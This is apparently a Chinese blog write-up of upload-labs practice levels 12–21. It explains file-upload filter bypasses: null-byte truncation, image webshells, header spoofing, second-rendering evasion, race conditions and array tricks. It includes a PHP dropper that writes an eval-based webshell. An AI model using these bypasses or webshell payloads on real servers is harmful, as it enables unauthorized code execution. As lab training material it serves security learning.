upload靶场总结12-21白名单

发布时间 2023-05-24 16:43:43作者: vaneshadow

PHP版本为5.5.9nts版本

第十二关白名单校验(GET 型 0x00 截断)

漏洞描述:使用白名单限制上传文件类型,但上传文件的存放路径可控利用方法:设置上传路径为 upload/phpinfo.php%00 ,添加 phpinfo.php%00 内

容为了控制路径,上传文件后缀为白名单即可 例:test.jpg,保存后为

/upload/phpinfo.php%00test.jpg,但服务端读取到%00 时会自动结束,将文件

内容保存至 phpinfo.php 中

PS:需要 php 的版本号低于 5.3.29,且 magic_quotes_gpc 为关闭状态

先看提示

image-20230322101450411

查看源码

image-20230322101613169

由此可见是白名单,按照文件名进行处理

还将上传的文件保存到了save_path

然后接下来抓包

image-20230322102024958

image-20230322102216034

文件名截断

截断字符: chr(0) 类似于C++的"\0"

filename=1.php%00.txt —— filenam=1.php

URL encode  →    ASCLL value 

%00         →     0

image-20230322102834796

phpstudy切换一下版本,把magic_quotes_gpc关闭,以phpstudy为例。

其他选项菜单---php扩展及设置---参数开关设置---把magic_quotes_gpc关闭。

image-20230322103507846

上传成功

image-20230322103546956

访问成功

第十三关(POST 型 0x00 截断)

漏洞描述:漏洞描述:使用白名单限制上传文件类型,但上传文件的存放路径可控,但因为是 POST 型,需要在 16 进制中修改,因为 POST 不会像 GET 那样对%00 进行自动解码。

同样进行抓包

image-20230322104035801

文件保存路径不再是出现在url中而是把保存路径和文件名称都写在了Content-Disposition

原本十二关中保存路径存在url中,是url编码,而我们现在需要一个十六进制的截断字符

先要写一个➕ 占一下位

image-20230322104546752

然后点击Hex +在里面的编码是2b

image-20230322105542402

然后将2b改为00

image-20230322105607941

image-20230322105713687

上传成功

image-20230322105738872

访问成功

第十四关文件内容检测(文件头校验)

先看提示

image-20230322160230069

漏洞描述:通过读文件的前 2 个字节,检测上传文件二进制的头信息,判断文

件类型,利用图片马绕过检测。

利用方法:图片马制作

image-20230322160339509

可搜索常见文件头标识

在 cmd 里执行 copy logo.jpg/b+test.php/a test.jpg

logo.jpg 为任意图片

test.php 为我们要插入的木马代码

test.jpg 为我们要创建的图片马

名字可任意

image-20230322160934693

image-20230322161743136

notepad打开后前面的jpg内容还在,而且php代码也仍然存在.

image-20230322162350184

上传成功

但是连接并不能起作用

image-20230322162437711

image-20230322162645085

include函数没有任何过滤,只有get的请求

image-20230322162910249

我们的图片内含敏感PHP语句。所以被包含进来之后被服务器当成PHP进行解析,加之我们的图片内部本身就存在PHP代码。故引发了这样的安全隐患问题。

有bug include大部分 时候只能包含本地文件

image-20230322213608353

./本目录 ../上一目录

第十五关文件内容检测 (getimagesize()校验)

img

getimagesize()
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

语法:

array getimagesize( string filename )
例子:

<?php
$array = getimagesize("images/flower_1.jpg");
print_r($array);
?>
浏览器显示如下:

Array
(
    [0] => 350
    [1] => 318
    [2] => 2
    [3] => width="350" height="318"
    [bits] => 8
    [channels] => 3
    [mime] => image/jpeg
)
返回结果说明
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签
索引 bits 给出的是图像的每种颜色的位数,二进制格式
索引 channels 给出的是图像的通道值,RGB 图像默认是 3
索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:
header("Content-type: image/jpeg");

十六关文件内容检测 (exif_imagetype()绕过)

image-20230322173331208

关于这个exif_imagetype()函数

image-20230323185555884

第16关同14,15关思路一样,操作一样。但是需要打开php_exif,
phpstudy的其他选项菜单---打开配置文件---php-ini

img

重启phpstudy即可

(2)预定义高度宽度:

例 .htaccess 文件

文件内容

#define width 1337

#define height 1337

文件内容---

(3)利用 x00x00x8ax39x8ax39 文件头x00x00x8ax30x8ax39 是 wbmp 文件的文件头,但 0x00 在.htaccess 文件中为是注释符,

不会影响文件本身。使用十六进制编辑器或者 python 的 bytes 字符类型(b’’)来进行

添加。

payload:shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + '文件内容'

第十七关文件内容检测(二次渲染)

basename($filename);
// 获得上传文件的扩展名
imagecreatefrompng($target_path)
//由文件或URL创建一个新图像

漏洞描述:综合判断了后缀名、content-type,以及利用 imagecreatefromgif

判断是否为 gif 图片,并在最后对文件内容进行了二次渲染,修改文件内容

绕过方法:上传一个 GIF 图片马,然后将其下载下来,查看其十六进制的文件内容,

找到二次渲染后不变的地方,而这个地方就是可以插入一句话的地方

这里要用到特殊的这个图片image-20230323195936661

才能达到渲染前后有不变的情况

image-20230323200124533

在未修改的位置加入一句话木马

然后蚁剑连接就可以了

22这里有个图

第十八关逻辑漏洞(条件竞争)

image-20230323202358673

image-20230323202449539

上传的php内容为

<?php

fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');

?>

疯狂(Burp or Python)上传与访问致使这个文件成功使用,从而产生一个shell.php

上传的文件判断后仍会被删除,但是新创建的shell.php并不会被判断而删除

上传文件后抓包

image-20230323210404523

这里可以修改文件的内容

发送到Intruder中设置空载

image-20230323210454984

image-20230323210526890

然后根据路径(上传正常图片)中改为1.php

image-20230323210733256

和上一个一样,但尽可能设多些

不断访问后再用蚁剑连接我们打算建立的webshell.php

第十九关逻辑漏洞(条件竞争-图片马)

漏洞描述:后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否

存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以

不断利用 burp 发送上传图片马的数据包,由于条件竞争,程序会出现来不及

rename 的问题,从而上传成功

利用方法:区别于 Pass-18,这里需要使用图片马

第二十关逻辑漏洞(小数点绕过)

image-20230323212442047

image-20230323212456870

image-20230323212509951

image-20230323212529249

image-20230323213716100

move_uploaded_file() 特性 /.在对比黑名单的时候会忽略

image-20230323215450528

image-20230323214222949

上传成功

image-20230323214244936

正常访问

第二十一关逻辑漏洞(数组绕过)

image-20230323214614701

如果不是数组就用,分割一下

end() 函数将数组内部指针指向最后一个元素,并返回该元素的值(如果成功)。

reset()函数是数组内部指针指向第一个,并返回该元素的值(如果成功)。

先抓包构造数组

首先要改掉MIME类型绕过第一步白名单

file_name改成jpg过白名单

save_name要做成一个数组,而且数组的最后一个值是jpg等

image-20230323215635899

img